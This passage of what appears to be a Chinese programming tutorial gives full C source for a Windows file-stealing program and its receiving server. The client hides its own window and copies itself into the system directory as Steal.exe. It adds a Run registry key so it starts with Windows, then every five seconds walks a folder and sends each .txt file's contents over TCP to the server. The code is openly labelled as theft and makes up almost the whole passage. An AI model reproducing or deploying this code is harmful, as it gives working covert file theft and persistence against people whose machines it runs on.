// 4、监听 listen
if (SOCKET_ERROR == listen(hServerSock, 5))
{
ErrorHanding("listen error");
}
SOCKADDR_IN addrCli;
int cliAdrSize = sizeof(SOCKADDR_IN);
SOCKET cliSock;
int strLen = 0;
// 5 循环接收数据
while(TRUE)
{
cliSock = accept(hServerSock, (SOCKADDR*)&addrCli, &cliAdrSize);
if (SOCKET_ERROR == cliSock)
{
ErrorHanding("accept error");
}
memset(msg, 0, MAX_SIZE);
while ((strLen = recv(cliSock, msg, MAX_SIZE, 0)) != 0)
{
printf("Server msg = %s\n",msg);
}
closesocket(cliSock);
}
closesocket(hServerSock);
WSACleanup();
return 0;
}
4.3 客户端
#include <stdio.h>
#include <windows.h>
#include <io.h>
#pragma comment(lib, "ws2_32.lib")
int SendtoServer(const char* path)
{
//0 初始化网络库
// 加载套接字库
WORD wVersionRequested;
WSADATA wsaData;
int err;
char sendBuf[1024] = {0};
wVersionRequested = MAKEWORD(2, 2);
// 1、初始化套接字库
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
printf("WSAStartup errorNum = %d\n", GetLastError());
system("pause");
return err;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
{
printf("LOBYTE errorNum = %d\n", GetLastError());
WSACleanup();
system("pause");
return -1;
}
// 2 安装电话机
// 新建套接字
SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
if (INVALID_SOCKET == sockCli)
{
printf("socket errorNum = %d\n", GetLastError());
system("pause");
return -1;
}
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
addrSrv.sin_family = AF_INET;
addrSrv.sin_port = htons(6000);
// 3 连接服务器
if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
printf("connect errorNum = %d\n", GetLastError());
system("pause");
return -1;
}
// 4 读取文件内容
FILE* fp = fopen(path, "rb");
int len = fread(sendBuf, 1, 1024, fp);
fclose(fp);
// 5 发送数据
int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);
if (iLen < 0)
{
printf("send errorNum = %d\n", GetLastError());
system("pause");
return -1;
}
// 关闭套接字
closesocket(sockCli);
//WSACleanup();
return 0;
}
int DoSteal(const char *szPath)
{
// 1 遍历szPath下所有的文件
WIN32_FIND_DATA FindFileData;// FindFileData表示文件
HANDLE hListFile; //文件用句柄来标识,编号
char szFilePath[MAX_PATH] = {0};
strcpy(szFilePath, szPath);
strcat(szFilePath, "\\*");
// 2 首先找到第一个文件,用hListFile标识
hListFile = FindFirstFile(szFilePath, &FindFileData);
// 3 循环遍历所有文件
do
{
char mypath[MAX_PATH] = { 0 };
strcpy(mypath, szPath);
strcat(mypath, FindFileData.cFileName);
if (strstr(mypath, ".txt")) //txt文件
{
//真真正正开始窃取文件
SendtoServer(mypath);
printf("mypath = %s\n", mypath);
}
} while (FindNextFile(hListFile, &FindFileData));
//FindNextFile的返回值为NULL,退出循环
return 0;
}
void AddToSystem()
{
HKEY hKEY;
char CurrentPath[MAX_PATH];
char SysPath[MAX_PATH];
long ret = 0;
LPSTR FileNewName;
LPSTR FileCurrentName;
DWORD type = REG_SZ;
DWORD size = MAX_PATH;
LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit win + R
GetSystemDirectory(SysPath, size);
GetModuleFileName(NULL, CurrentPath, size);
//Copy File
FileCurrentName = CurrentPath;
FileNewName = lstrcat(SysPath, "\\Steal.exe");
struct _finddata_t Steal;
printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
if (_findfirst(FileNewName, &Steal) != -1)
return;//已经安装!
printf("ret2 = %d\n", ret);
int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n继续运行该程序将使这台机器处于被监控的状态!\n如果您不想这样,请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动运行。\n按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
if (ihow == IDCANCEL)
exit(0);
if (ihow == IDNO)
return;//只运行一次
//复制文件
ret = CopyFile(FileCurrentName, FileNewName, TRUE);
if (!ret)
{
return;
}
//加入注册表
printf("ret = %d\n", ret);
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
if (ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return;
}
//Set Key
ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);
if (ret != ERROR_SUCCESS)
{
RegCloseKey(hKEY);
return;
}
RegCloseKey(hKEY);
}
void HideMyself()
{
// 拿到当前的窗口句柄
HWND hwnd = GetForegroundWindow();
ShowWindow(hwnd, SW_HIDE);
}
int main()
{
printf("Steal\n");
//隐藏自身
HideMyself();
// 添加到启动项
AddToSystem();
//窃取文件 窃取哪个文件呢??
while (1)
{
DoSteal("E:\\Users\\BingGo\\Desktop\\test\\");
Sleep(5000);
}
system("pause");
return 0;
}
参考博客:
图解TCP/IP详解(史上最全)_tcpip详解-CSDN博客